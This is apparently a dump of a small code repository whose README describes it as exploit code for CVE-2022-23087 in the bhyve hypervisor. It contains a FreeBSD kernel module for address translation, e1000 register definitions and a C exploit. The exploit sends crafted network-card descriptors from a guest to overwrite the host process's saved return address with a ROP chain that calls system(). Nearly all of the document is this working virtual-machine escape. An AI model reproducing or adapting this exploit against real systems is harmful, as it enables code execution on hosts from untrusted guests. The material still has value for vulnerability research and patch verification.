├── README.md ├── module ├── Makefile └── pt.c ├── Makefile ├── mmu.c ├── e1000.h └── exploit.c /README.md: -------------------------------------------------------------------------------- 1 | # bhyve 2 | 3 | Exploit code for CVE-2022-23087 4 | -------------------------------------------------------------------------------- /module/Makefile: -------------------------------------------------------------------------------- 1 | KMOD = pt 2 | SRCS = pt.c 3 | .include 4 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | exploit: mmu.c exploit.c 2 | gcc -Wall -ggdb -o exploit mmu.c exploit.c 3 | clean: 4 | rm exploit 5 | -------------------------------------------------------------------------------- /mmu.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | uint64_t gva_to_gpa(uint64_t vaddr) 11 | { 12 | uint64_t paddr = 0; 13 | 14 | int nsys; 15 | int ret; 16 | int modid; 17 | 18 | struct module_stat stat; 19 | stat.version = sizeof(stat); 20 | 21 | modid = modfind("sys/pt"); 22 | if (modid < 0) 23 | errx(EXIT_FAILURE, "modinfo"); 24 | 25 | ret = modstat(modid, &stat); 26 | if (ret < 0) 27 | errx(EXIT_FAILURE, "modstat"); 28 | 29 | nsys = stat.data.intval; 30 | ret = syscall(nsys, vaddr, &paddr); 31 | 32 | return paddr; 33 | } 34 | -------------------------------------------------------------------------------- /module/pt.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | struct pt_args 15 | { 16 | vm_offset_t vaddr; 17 | uint64_t *res; 18 | }; 19 | 20 | static int pt(struct thread *td, void *args) 21 | { 22 | struct pmap *pmap; 23 | struct pt_args *user = args; 24 | 25 | vm_offset_t vaddr = user->vaddr; 26 | uint64_t *res = user->res; 27 | 28 | uint64_t paddr; 29 | 30 | pmap = &td->td_proc->p_vmspace->vm_pmap; 31 | paddr = pmap_extract(pmap, vaddr); 32 | 33 | return copyout(&paddr, res, sizeof(uint64_t)); 34 | } 35 | 36 | static struct sysent pt_sysent = { 37 | .sy_narg = 2, 38 | .sy_call = pt 39 | }; 40 | 41 | static int offset=NO_SYSCALL; 42 | 43 | static int load(struct module *module, int cmd, void *arg) 44 | { 45 | int error=0; 46 | switch(cmd) { 47 | case MOD_LOAD: 48 | uprintf("loading syscall at offset %d\n", offset); 49 | break; 50 | case MOD_UNLOAD: 51 | uprintf("unloading syscall from offset %d\n", offset); 52 | break; 53 | default: 54 | error=EOPNOTSUPP; 55 | break; 56 | } 57 | return error; 58 | } 59 | 60 | SYSCALL_MODULE(pt, &offset, &pt_sysent, load, NULL); 61 | -------------------------------------------------------------------------------- /e1000.h: -------------------------------------------------------------------------------- 1 | #define e1000_PORT 0x2100 2 | 3 | enum e1000_registers { 4 | 5 | CTRL = 0x00000, /* Device Control - RW */ 6 | 7 | /* Transmit */ 8 | TXCW = 0x0178, /* x0178 transmit config */ 9 | TCTL = 0x0400, /* x0400 transmit ctl */ 10 | TIPG = 0x0410, /* x0410 inter-packet gap */ 11 | AIT = 0x0458, /* x0458 Adaptive Interframe Throttle */ 12 | TDBAL = 0x3800, /* x3800 desc table addr, low bits */ 13 | TDBAH = 0x3804, /* x3804 desc table addr, hi 32-bits */ 14 | TDLEN = 0x3808, /* x3808 # descriptors in bytes */ 15 | TDH = 0x3810, /* x3810 desc table head idx */ 16 | TDT = 0x3818, /* x3818 desc table tail idx */ 17 | TIDV = 0x3820, /* x3820 intr delay */ 18 | TXDCTL = 0x3828, /* x3828 desc control */ 19 | TADV = 0x382c, /* x382C intr absolute delay */ 20 | 21 | /* Receive */ 22 | RCTL = 0x0100, /* x0100 receive ctl */ 23 | FCRTL = 0x2160, /* x2160 flow cntl thresh, low */ 24 | FCRTH = 0x2168, /* x2168 flow cntl thresh, hi */ 25 | RDBAL = 0x2800, /* x2800 desc table addr, low bits */ 26 | RDBAH = 0x2804, /* x2804 desc table addr, hi 32-bits*/ 27 | RDLEN = 0x2808, /* x2808 #descriptors */ 28 | RDH = 0x2810, /* x2810 desc table head idx */ 29 | RDT = 0x2818, /* x2818 desc table tail idx */ 30 | RDTR = 0x2820, /* x2820 intr delay */ 31 | RXDCTL = 0x2828, /* x2828 desc control */ 32 | RADV = 0x282c, /* x282C intr absolute delay */ 33 | RSRPD = 0x2c00, /* x2C00 recv small packet detect */ 34 | RXCSUM = 0x5000, /* x5000 receive cksum ctl */ 35 | }; 36 | 37 | 38 | /* Transmit Descriptor bit definitions */ 39 | #define E1000_TXD_DTYP_D 0x00100000 /* Data Descriptor */ 40 | #define E1000_TXD_DTYP_C 0x00000000 /* Context Descriptor */ 41 | #define E1000_TXD_POPTS_IXSM 0x01 /* Insert IP checksum */ 42 | #define E1000_TXD_POPTS_TXSM 0x02 /* Insert TCP/UDP checksum */ 43 | #define E1000_TXD_CMD_EOP 0x01000000 /* End of Packet */ 44 | #define E1000_TXD_CMD_IFCS 0x02000000 /* Insert FCS (Ethernet CRC) */ 45 | #define E1000_TXD_CMD_IC 0x04000000 /* Insert Checksum */ 46 | #define E1000_TXD_CMD_RS 0x08000000 /* Report Status */ 47 | #define E1000_TXD_CMD_RPS 0x10000000 /* Report Packet Sent */ 48 | #define E1000_TXD_CMD_DEXT 0x20000000 /* Desc extension (0 = legacy) */ 49 | #define E1000_TXD_CMD_VLE 0x40000000 /* Add VLAN tag */ 50 | #define E1000_TXD_CMD_IDE 0x80000000 /* Enable Tidv register */ 51 | #define E1000_TXD_STAT_DD 0x00000001 /* Descriptor Done */ 52 | #define E1000_TXD_STAT_EC 0x00000002 /* Excess Collisions */ 53 | #define E1000_TXD_STAT_LC 0x00000004 /* Late Collisions */ 54 | #define E1000_TXD_STAT_TU 0x00000008 /* Transmit underrun */ 55 | #define E1000_TXD_CMD_TCP 0x01000000 /* TCP packet */ 56 | #define E1000_TXD_CMD_IP 0x02000000 /* IP packet */ 57 | #define E1000_TXD_CMD_TSE 0x04000000 /* TCP Seg enable */ 58 | #define E1000_TXD_STAT_TC 0x00000004 /* Tx Underrun */ 59 | #define E1000_TXD_EXTCMD_TSTAMP 0x00000010 /* IEEE1588 Timestamp packet */ 60 | 61 | /* Transmit Control */ 62 | #define E1000_TCTL_EN 0x00000002 /* enable Tx */ 63 | #define E1000_TCTL_PSP 0x00000008 /* pad short packets */ 64 | #define E1000_TCTL_CT 0x00000ff0 /* collision threshold */ 65 | #define E1000_TCTL_COLD 0x003ff000 /* collision distance */ 66 | #define E1000_TCTL_RTLC 0x01000000 /* Re-transmit on late collision */ 67 | #define E1000_TCTL_MULR 0x10000000 /* Multiple request support */ 68 | 69 | /* Transmit descriptor types */ 70 | #define E1000_TXD_MASK (E1000_TXD_CMD_DEXT | 0x00F00000) 71 | #define E1000_TXD_TYP_L (0) 72 | #define E1000_TXD_TYP_C (E1000_TXD_CMD_DEXT | E1000_TXD_DTYP_C) 73 | #define E1000_TXD_TYP_D (E1000_TXD_CMD_DEXT | E1000_TXD_DTYP_D) 74 | 75 | /* Receive Control */ 76 | #define E1000_RCTL_RST 0x00000001 /* Software reset */ 77 | #define E1000_RCTL_EN 0x00000002 /* enable */ 78 | #define E1000_RCTL_SBP 0x00000004 /* store bad packet */ 79 | #define E1000_RCTL_UPE 0x00000008 /* unicast promisc enable */ 80 | #define E1000_RCTL_MPE 0x00000010 /* multicast promisc enable */ 81 | #define E1000_RCTL_LPE 0x00000020 /* long packet enable */ 82 | #define E1000_RCTL_LBM_NO 0x00000000 /* no loopback mode */ 83 | #define E1000_RCTL_LBM_MAC 0x00000040 /* MAC loopback mode */ 84 | #define E1000_RCTL_LBM_TCVR 0x000000C0 /* tcvr loopback mode */ 85 | #define E1000_RCTL_DTYP_PS 0x00000400 /* Packet Split descriptor */ 86 | #define E1000_RCTL_RDMTS_HALF 0x00000000 /* Rx desc min thresh size */ 87 | #define E1000_RCTL_RDMTS_HEX 0x00010000 88 | #define E1000_RCTL_RDMTS1_HEX E1000_RCTL_RDMTS_HEX 89 | #define E1000_RCTL_MO_SHIFT 12 /* multicast offset shift */ 90 | #define E1000_RCTL_MO_3 0x00003000 /* multicast offset 15:4 */ 91 | #define E1000_RCTL_BAM 0x00008000 /* broadcast enable */ 92 | /* these buffer sizes are valid if E1000_RCTL_BSEX is 0 */ 93 | #define E1000_RCTL_SZ_2048 0x00000000 /* Rx buffer size 2048 */ 94 | #define E1000_RCTL_SZ_1024 0x00010000 /* Rx buffer size 1024 */ 95 | #define E1000_RCTL_SZ_512 0x00020000 /* Rx buffer size 512 */ 96 | #define E1000_RCTL_SZ_256 0x00030000 /* Rx buffer size 256 */ 97 | /* these buffer sizes are valid if E1000_RCTL_BSEX is 1 */ 98 | #define E1000_RCTL_SZ_16384 0x00010000 /* Rx buffer size 16384 */ 99 | #define E1000_RCTL_SZ_8192 0x00020000 /* Rx buffer size 8192 */ 100 | #define E1000_RCTL_SZ_4096 0x00030000 /* Rx buffer size 4096 */ 101 | #define E1000_RCTL_VFE 0x00040000 /* vlan filter enable */ 102 | #define E1000_RCTL_CFIEN 0x00080000 /* canonical form enable */ 103 | #define E1000_RCTL_CFI 0x00100000 /* canonical form indicator */ 104 | #define E1000_RCTL_DPF 0x00400000 /* discard pause frames */ 105 | #define E1000_RCTL_PMCF 0x00800000 /* pass MAC control frames */ 106 | #define E1000_RCTL_BSEX 0x02000000 /* Buffer size extension */ 107 | #define E1000_RCTL_SECRC 0x04000000 /* Strip Ethernet CRC */ 108 | 109 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "e1000.h" 14 | 15 | #define PAGE_SIZE 0x1000 16 | #define BUFF_SIZE PAGE_SIZE 17 | 18 | #define SAVED_RIP_OFF 0x3f68 19 | #define POP_RBP 0x222164 20 | #define POP_RDI 0x21e688 21 | #define LEAVE 0x22dd28 22 | #define SYSTEM 0x21f83c 23 | #define CALC 0x7fffdebf35a8 24 | #define ROPCHAIN 0x7fffdebf3578 25 | 26 | #define GET_WORD(val, n) (((val) >> ((n) * 16)) & 0xffff) 27 | #define MAKE_WORD(val, n) htons((htons(GET_WORD(val, n)) - 1)) 28 | 29 | #define TX_NB 64; 30 | 31 | extern uint64_t gva_to_gpa(void *); 32 | 33 | void xxd(void *ptr, size_t size) 34 | { 35 | size_t i; 36 | for (i = 0; i < size; i++) { 37 | if (i % 16 == 0) printf("\n0x%"PRIx64": ", (uint64_t)(ptr+i)); 38 | printf("%02x", *(uint8_t *)(ptr+i)); 39 | if (i % 16 != 0 && i % 2 == 1) printf(" "); 40 | } 41 | printf("\n"); 42 | } 43 | 44 | 45 | /* Legacy transmit descriptor */ 46 | struct e1000_tx_desc { 47 | uint64_t buffer_addr; /* Address of the descriptor's data buffer */ 48 | union { 49 | uint32_t data; 50 | struct { 51 | uint16_t length; /* Data buffer length */ 52 | uint8_t cso; /* Checksum offset */ 53 | uint8_t cmd; /* Descriptor control */ 54 | } flags; 55 | } lower; 56 | union { 57 | uint32_t data; 58 | struct { 59 | uint8_t status; /* Descriptor status */ 60 | uint8_t css; /* Checksum start */ 61 | uint16_t special; 62 | } fields; 63 | } upper; 64 | }; 65 | 66 | /* Context descriptor */ 67 | struct e1000_context_desc { 68 | union { 69 | uint32_t ip_config; 70 | struct { 71 | uint8_t ipcss; /* IP checksum start */ 72 | uint8_t ipcso; /* IP checksum offset */ 73 | uint16_t ipcse; /* IP checksum end */ 74 | } ip_fields; 75 | } lower_setup; 76 | union { 77 | uint32_t tcp_config; 78 | struct { 79 | uint8_t tucss; /* TCP checksum start */ 80 | uint8_t tucso; /* TCP checksum offset */ 81 | uint16_t tucse; /* TCP checksum end */ 82 | } tcp_fields; 83 | } upper_setup; 84 | uint32_t cmd_and_length; 85 | union { 86 | uint32_t data; 87 | struct { 88 | uint8_t status; /* Descriptor status */ 89 | uint8_t hdr_len; /* Header length */ 90 | uint16_t mss; /* Maximum segment size */ 91 | } fields; 92 | } tcp_seg_setup; 93 | }; 94 | 95 | /* Data descriptor */ 96 | struct e1000_data_desc { 97 | uint64_t buffer_addr; /* Address of the descriptor's buffer address */ 98 | union { 99 | uint32_t data; 100 | struct { 101 | uint16_t length; /* Data buffer length */ 102 | uint8_t typ_len_ext; 103 | uint8_t cmd; 104 | } flags; 105 | } lower; 106 | union { 107 | uint32_t data; 108 | struct { 109 | uint8_t status; /* Descriptor status */ 110 | uint8_t popts; /* Packet Options */ 111 | uint16_t special; 112 | } fields; 113 | } upper; 114 | }; 115 | 116 | union e1000_tx_udesc { 117 | struct e1000_tx_desc td; 118 | struct e1000_context_desc cd; 119 | struct e1000_data_desc dd; 120 | }; 121 | 122 | void e1000_write_reg(int reg, uint32_t val) 123 | { 124 | outl(e1000_PORT + CTRL, reg); 125 | outl(e1000_PORT + 4, val); 126 | } 127 | 128 | void e1000_tx_enable() 129 | { 130 | e1000_write_reg(TCTL, E1000_TCTL_EN); 131 | } 132 | 133 | void e1000_tx_disable() 134 | { 135 | e1000_write_reg(TCTL, 0); 136 | } 137 | 138 | void e1000_tx_start(uint8_t tail) 139 | { 140 | e1000_write_reg(TDT, tail); 141 | } 142 | 143 | void e1000_tx_transmit(union e1000_tx_udesc *tx_ring, uint8_t *head, struct e1000_context_desc *cd, uint16_t pktlen) 144 | { 145 | // set packet context 146 | memcpy(&tx_ring[*head].cd, cd, sizeof(struct e1000_context_desc)); 147 | 148 | // set packet data 149 | tx_ring[*head + 1].dd.lower.data = pktlen; 150 | tx_ring[*head + 1].dd.lower.data |= E1000_TXD_CMD_EOP; 151 | tx_ring[*head + 1].dd.lower.data |= E1000_TXD_CMD_TSE; 152 | tx_ring[*head + 1].dd.lower.data |= E1000_TXD_TYP_D; 153 | tx_ring[*head + 1].dd.upper.fields.popts = E1000_TXD_POPTS_TXSM; 154 | 155 | *head += 2 % TX_NB; 156 | 157 | } 158 | 159 | // UDP packet 160 | static char packet[] = { 161 | 0x58, 0x9c, 0xfc, 0x0e, 0xb7, 0x3d, 0x58, 0x9c, 162 | 0xfc, 0x0f, 0xb4, 0x44, 0x08, 0x00, 0x45, 0x00, 163 | 0x00, 0x21, 0x43, 0xad, 0x40, 0x00, 0x40, 0x11, 164 | 0xf9, 0x1c, 0x01, 0x02, 0x03, 0x04, 0xc0, 0xa8, 165 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 166 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 167 | }; 168 | 169 | int main() 170 | { 171 | union e1000_tx_udesc *tx_ring; 172 | struct e1000_context_desc tx_cd; 173 | uint8_t tx_nb = TX_NB; 174 | uint16_t tx_size; 175 | char *tx_buffer[tx_nb], *buffer; 176 | uint8_t head = 0; 177 | uint64_t addr; 178 | 179 | uint16_t pktlen, hdrlen, paylen, mss, write_off; 180 | uint8_t ipcss, tucss, hdroff; 181 | 182 | // get permissions for in/out 183 | open("/dev/io", O_RDONLY, 0); 184 | 185 | // configure TX descriptors 186 | warnx("configuring TX descriptors"); 187 | tx_size = tx_nb * sizeof(union e1000_tx_udesc); 188 | tx_ring = aligned_alloc(PAGE_SIZE, tx_size); 189 | memset(tx_ring, 0, tx_size); 190 | 191 | for(int i = 0; i < tx_nb; i++) { 192 | buffer = aligned_alloc(PAGE_SIZE, BUFF_SIZE); 193 | memcpy(buffer, packet, sizeof(packet)); 194 | 195 | tx_buffer[i] = buffer; 196 | addr = gva_to_gpa(buffer); 197 | warnx("TX ring buffer at 0x%"PRIx64"\n", addr); 198 | tx_ring[i].dd.buffer_addr = addr; 199 | }; 200 | 201 | warnx("disable TX"); 202 | e1000_tx_disable(); 203 | 204 | addr = gva_to_gpa(tx_ring); 205 | //warnx("TX ring buffer at 0x%"PRIx64"\n", addr); 206 | 207 | warnx("update TX desc table"); 208 | e1000_write_reg(TDBAL, (uint32_t)addr); 209 | e1000_write_reg(TDBAH, addr >> 32); 210 | e1000_write_reg(TDLEN, tx_size); 211 | e1000_write_reg(TDH, 0); 212 | 213 | warnx("enable TX"); 214 | e1000_tx_enable(); 215 | 216 | /* fill stack with ropchain */ 217 | hdrlen = 220; 218 | 219 | tx_cd.lower_setup.ip_fields.ipcss = 0; 220 | tx_cd.lower_setup.ip_fields.ipcso = 0; 221 | tx_cd.lower_setup.ip_fields.ipcse = 0; 222 | 223 | tx_cd.upper_setup.tcp_fields.tucss = 0; 224 | tx_cd.upper_setup.tcp_fields.tucso = 0; 225 | tx_cd.upper_setup.tcp_fields.tucse = 0; 226 | 227 | tx_cd.cmd_and_length = hdrlen; 228 | tx_cd.cmd_and_length |= E1000_TXD_TYP_C; 229 | tx_cd.cmd_and_length |= E1000_TXD_CMD_IP; 230 | 231 | tx_cd.tcp_seg_setup.fields.status = 0; 232 | tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen; 233 | tx_cd.tcp_seg_setup.fields.mss = PAGE_SIZE; 234 | 235 | memset(tx_buffer[head + 1], 'A', PAGE_SIZE); 236 | uint64_t *ptr = (uint64_t *)tx_buffer[head + 1]; 237 | *(ptr + 3) = POP_RDI; 238 | *(ptr + 4) = CALC; 239 | *(ptr + 6) = SYSTEM; 240 | strcpy(tx_buffer[head + 1] + 56, "/usr/local/bin/xcalc"); 241 | 242 | e1000_tx_transmit(tx_ring, &head, &tx_cd, PAGE_SIZE); 243 | 244 | /* corrupting saved rip + 10 */ 245 | hdrlen = 32; 246 | hdroff = 0x90; 247 | ipcss = 12; 248 | tucss = 18; 249 | mss = htons(ROPCHAIN & 0xffff) - hdrlen + ipcss; 250 | paylen = 2 * mss; 251 | pktlen = paylen + hdrlen; 252 | 253 | tx_cd.lower_setup.ip_fields.ipcss = ipcss; 254 | tx_cd.lower_setup.ip_fields.ipcso = 0; 255 | tx_cd.lower_setup.ip_fields.ipcse = 0; 256 | 257 | tx_cd.upper_setup.tcp_fields.tucss = tucss; 258 | tx_cd.upper_setup.tcp_fields.tucso = hdroff; 259 | tx_cd.upper_setup.tcp_fields.tucse = tucss+1; 260 | 261 | tx_cd.cmd_and_length = paylen; 262 | tx_cd.cmd_and_length |= E1000_TXD_TYP_C; 263 | tx_cd.cmd_and_length |= E1000_TXD_CMD_IP; 264 | 265 | tx_cd.tcp_seg_setup.fields.status = 0; 266 | tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen; 267 | tx_cd.tcp_seg_setup.fields.mss = mss; // WHAT_LOW 268 | 269 | write_off = (SAVED_RIP_OFF + 10) - ipcss - 2; 270 | *(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off; // WHERE 271 | *(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(ROPCHAIN, 2); 272 | 273 | e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen); 274 | 275 | /* corrupt saved rip + 8 */ 276 | write_off = (SAVED_RIP_OFF + 8) - ipcss - 2; 277 | *(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off; 278 | *(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(ROPCHAIN, 1); 279 | 280 | e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen); 281 | 282 | 283 | /* corrupt saved rip + 16 */ 284 | mss = htons(LEAVE & 0xffff) - hdrlen + ipcss; 285 | paylen = 2 * mss; 286 | pktlen = paylen + hdrlen; 287 | 288 | tx_cd.cmd_and_length = paylen; 289 | tx_cd.cmd_and_length |= E1000_TXD_TYP_C; 290 | tx_cd.cmd_and_length |= E1000_TXD_CMD_IP; 291 | 292 | tx_cd.tcp_seg_setup.fields.status = 0; 293 | tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen; 294 | tx_cd.tcp_seg_setup.fields.mss = mss; 295 | 296 | write_off = (SAVED_RIP_OFF + 0x10) - ipcss - 2; 297 | *(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off; 298 | *(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(LEAVE, 1); 299 | 300 | e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen); 301 | 302 | /* corrupt saved rip */ 303 | tucss = 0; 304 | mss = htons(POP_RBP & 0xffff) - hdrlen + ipcss; // WHAT_LOW 305 | paylen = 2 * mss; 306 | pktlen = paylen + hdrlen; 307 | 308 | tx_cd.upper_setup.tcp_fields.tucss = tucss; 309 | tx_cd.upper_setup.tcp_fields.tucse = tucss+1; 310 | 311 | tx_cd.cmd_and_length = paylen; 312 | tx_cd.cmd_and_length |= E1000_TXD_TYP_C; 313 | tx_cd.cmd_and_length |= E1000_TXD_CMD_IP; 314 | 315 | tx_cd.tcp_seg_setup.fields.status = 0; 316 | tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen; 317 | tx_cd.tcp_seg_setup.fields.mss = mss; 318 | 319 | write_off = SAVED_RIP_OFF - ipcss - 2; 320 | *(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off; // WHERE 321 | *(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(POP_RBP, 1); // WHAT_HIGH 322 | 323 | e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen); 324 | 325 | e1000_tx_start(head); 326 | 327 | 328 | //xxd(tx_buffer, sizeof(packet)); 329 | 330 | 331 | return 0; 332 | } 333 | 334 | --------------------------------------------------------------------------------